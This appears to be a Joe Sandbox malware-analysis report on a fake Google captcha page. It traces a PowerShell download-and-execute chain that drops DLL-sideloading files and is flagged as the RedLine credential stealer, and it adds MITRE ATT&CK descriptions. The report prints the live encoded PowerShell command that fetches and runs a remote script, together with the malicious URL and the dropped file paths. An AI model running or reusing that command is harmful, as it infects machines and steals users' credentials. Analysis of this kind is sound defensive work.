d8 78 1c 02 8b 61 99 ca 8f 3e 64 91 9e 52 Data Ascii: ~2_^`%V+Z\|<Mx}O";_=dN>ROCZ2"w>:?v2eRXzHuEIt\ 28Cb2=".r?bovz}jC_toYX%UTM?<:H*jmxa>dR

Target ID:	0
Start time:	14:24:23
Start date:	27/02/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	14:24:23
Start date:	27/02/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2184 --field-trial-handle=1948,i,5144366467434062869,11298283985796997681,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	14:24:24
Start date:	27/02/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://cta.berlmember.com/google/captcha.html"
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	14:24:59
Start date:	27/02/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -win 1 -ep bypass -noni -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADQANQAuADYAMQAuADEANQA3AC4AMgAwADUALwBmADEALwByAGUAZAAnACkAIAB8ACAASQBFAHgA
Imagebase:	0x7ff7582a0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	14:24:59
Start date:	27/02/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6684c0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	14:25:12
Start date:	27/02/2025
Path:	C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe"
Imagebase:	0x7ff7866b0000
File size:	299'368 bytes
MD5 hash:	A23DE5ABE855D2A1B1D1ABC22D0B110F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	14:25:13
Start date:	27/02/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\cmd.exe
Imagebase:	0xf20000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000002.1924499327.0000000005BC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000010.00000002.1924499327.0000000005BC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	14:25:13
Start date:	27/02/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6684c0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	14:25:30
Start date:	27/02/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Imagebase:	0x580000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000012.00000002.2409011193.0000000000982000.00000002.00000001.01000000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000012.00000002.2409011193.0000000000982000.00000002.00000001.01000000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://cta.berlmember.com/google/captcha.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

HTML

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\AIRMax.zip

C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe

C:\Users\user\AppData\Local\Temp\MaxiAir\CDLMSO.DLL

C:\Users\user\AppData\Local\Temp\MaxiAir\MSOCF.DLL

C:\Users\user\AppData\Local\Temp\MaxiAir\OISAPP.DLL

C:\Users\user\AppData\Local\Temp\MaxiAir\OISGRAPH.DLL

C:\Users\user\AppData\Local\Temp\MaxiAir\cabretta.ogg

C:\Users\user\AppData\Local\Temp\MaxiAir\msvcr90.dll

C:\Users\user\AppData\Local\Temp\MaxiAir\retro.sql

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3muufqfi.53n.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5ebha53g.3uc.ps1

Windows Analysis Report
https://cta.berlmember.com/google/captcha.html

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre